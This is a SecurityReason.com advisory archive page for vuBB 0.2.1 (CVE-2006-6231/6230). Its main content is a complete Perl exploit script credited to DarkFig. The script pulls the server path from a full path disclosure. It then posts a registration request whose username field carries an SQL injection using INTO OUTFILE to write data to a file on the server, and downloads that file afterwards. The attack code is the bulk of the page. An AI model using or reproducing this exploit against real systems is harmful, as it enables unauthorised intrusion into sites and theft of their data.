SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

vuBB <= 0.2.1 [BFA] SQL Injection Exploit + Advisory link


Arrow  SecurityAlert : 1948
Arrow  CVE : CVE-2006-6231
Arrow  CVE : CVE-2006-6230
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : DarkFig
Arrow  Published : 05.12.2006

Arrow  Affected Software : vuBB <= 0.2.1



Arrow  Advisory Content :  

#!/usr/bin/perl

#

# by DarkFig -- acid-root.new.fr

# French Advisory (vuBB <= 0.2.1 [BFA] SQL Injection, XSS, CRLF Injection,
Full Path Disclosure): http://www.acid-root.new.fr/advisories/vubb021b.txt

#

use IO::Socket;

use LWP::Simple;

# Header

print "rn+---------------------------------------+", "rn";

print "| vuBB <= 0.2.1 [BFA] SQL Injection -|", "rn";

print "+---------------------------------------+", "rn";

# Usage

if(!$ARGV[2]){

print "| Usage: <host> <path> <username> ------|", "rn";

print "+---------------------------------------+", "rn";

exit;

}

# Host

if($ARGV[0] =~ /http://(.*)/){

$host = $1;

} else {

$host = $ARGV[0];

}

print "[+]Host: $hostrn";

# Var

my $path = $ARGV[1];

my $user = $ARGV[2]; print "[+]User: $userrn";

my $port = 80;

my $fpd = "http://".$host.$path."includes/vubb.php";

my $err1 = "[-]Can't connect to the hostrn";

my $err2 = "[-]Can't retrieve the full pathrn";

my $err3 = "[-]Can't retrieve the resultsrn";

my $poti = "POST "."$path"."index.php?act=register&action=register"."
HTTP/1.1";

# Full Path Disclosure

$req0 = get($fpd) or die print $err1 and end();

if($req0 =~ /in <b>(.*)/includes/vubb.php</b>/) {

$fullpath = $1."/thisismypasswd.txt";

print "[+]Path: $1rn";

} else {

print $err2 and end();

}

# Malicious data

my $pdat =
"user=$user"."%27+INTO+OUTFILE+%27"."$fullpath"."%27%23"."&email=a669c45
70f%40hotmail.com&vemail=a669c4570f%40hotmail.com&pass=mypassword&vpass=
mypassword&agreement=iacceptohackit&agree=on";

my $ldat = length $pdat;

my $req1 = IO::Socket::INET->new(

PeerAddr => $host,

PeerPort => $port,

Proto => "tcp"

) or print $err1 and end();

print $req1 "$poti", "rn";

print $req1 "Host: $host", "rn";

print $req1 "Content-Type: application/x-www-form-urlencoded", "rn";

print $req1 "Content-Length: $ldat", "rnn";

print $req1 "$pdat", "rn";

close($req1);

# Results

$req2 = get("http://".$host.$path."/thisismypasswd.txt") or print $err3 and
end();

open(f, ">VUBB_RESULT.txt");

print f $req2;

close(f);

print "[+]Done: VUBB_RESULT.txtrn";

end();

# Bye

sub end {

print "+---------------------------------------+", "rn";

exit;

}





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.